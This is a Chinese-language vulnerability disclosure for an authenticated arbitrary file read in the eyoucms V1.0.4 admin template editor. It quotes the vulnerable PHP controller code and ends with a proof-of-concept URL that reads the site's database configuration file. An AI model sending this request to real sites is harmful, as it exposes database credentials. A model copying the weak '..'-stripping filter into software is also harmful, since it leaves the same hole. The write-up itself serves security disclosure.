eyoucms V1.0.4 后台任意文件读取漏洞

漏洞简介：

易优cms企业建站系统是由php+mysql开发的一套专门用于中小企业网站建设的开源cms。 可以用来快速建设一个企业网站(PC，手机，微信都可以访问)。后台操作简单，维护方便

漏洞分析：

eyoucms最新版，后台高级选项>模板管理页面，由于过滤不严，导致任意文件读取漏洞。 漏洞文件：`\application\admin\controller\Filemanager.php` 第79行

```
public function edit()
    {
        if (IS_POST) {
            $post = I('post.');
            $content = I('post.content', '', null);
            $filename = !empty($post['filename']) ? trim($post['filename']) :
'';
            $content = !empty($content) ? $content : '';
            $activepath = !empty($post['activepath']) ?
trim($post['activepath']) : '';

            if (empty($filename) || empty($activepath)) {
                $this->error('参数值丢失! ');
                exit;
            }

            $r = $this->filemanagerLogic->editFile($filename, $activepath,
$content);
            if ($r === true) {
                $this->success('操作成功! ', U('Filemanager/index',
array('activepath'=>urlencode($activepath))));
                exit;
            } else {
                $this->error($r);
                exit;
            }
        }

        $activepath = I('param.activepath/s', '', 'urldecode,urldecode');
        $filename = I('param.filename/s', '');

        $activepath = str_replace("..", "", $activepath);
        $filename = str_replace("..", "", $filename);
        $file = $this->baseDir."$activepath/$filename";
        $content = "";
        if(is_file($file))
        {
            $fp = fopen($file,"r");
            $content = fread($fp,filesize($file));
            fclose($fp);
```

```
            $content = htmlspecialchars($content);
        }
        $path_parts  = pathinfo($filename);
        if ( $path_parts['extension'] == 'php' )
        {
            $extension = 'text/x-php';
        } else if($path_parts['extension'] == 'js'){
            $extension = 'text/javascript';
        } else if($path_parts['extension'] == 'css'){
            $extension = 'text/css';
        } else {
            $extension = 'text/html';
        }

        $info = array(
            'filename'  => $filename,
            'activepath'=> $activepath,
            'extension' => $extension,
            'content'   => $content,
        );
        $this->assign('info', $info);
        return $this->fetch();
    }
```

这里看`$filename`和`$activepath`，两个参数。没有进行过滤直接获取从post传递过来的值，进行拼接。

`$file = $this->baseDir."$activepath/$filename";`因此参数任意文件读取漏洞。

漏洞证明

用管理员权限登录后台，进入模板编辑页面。

访问url：`http://localhost/index.php/admin/Filemanager/edit/filename/database.php/activepath/%252Fapplication`，`filename`的值设置为`database.php`，`activepath`的值设置为`application`。构造读取`/application/database.php`文件。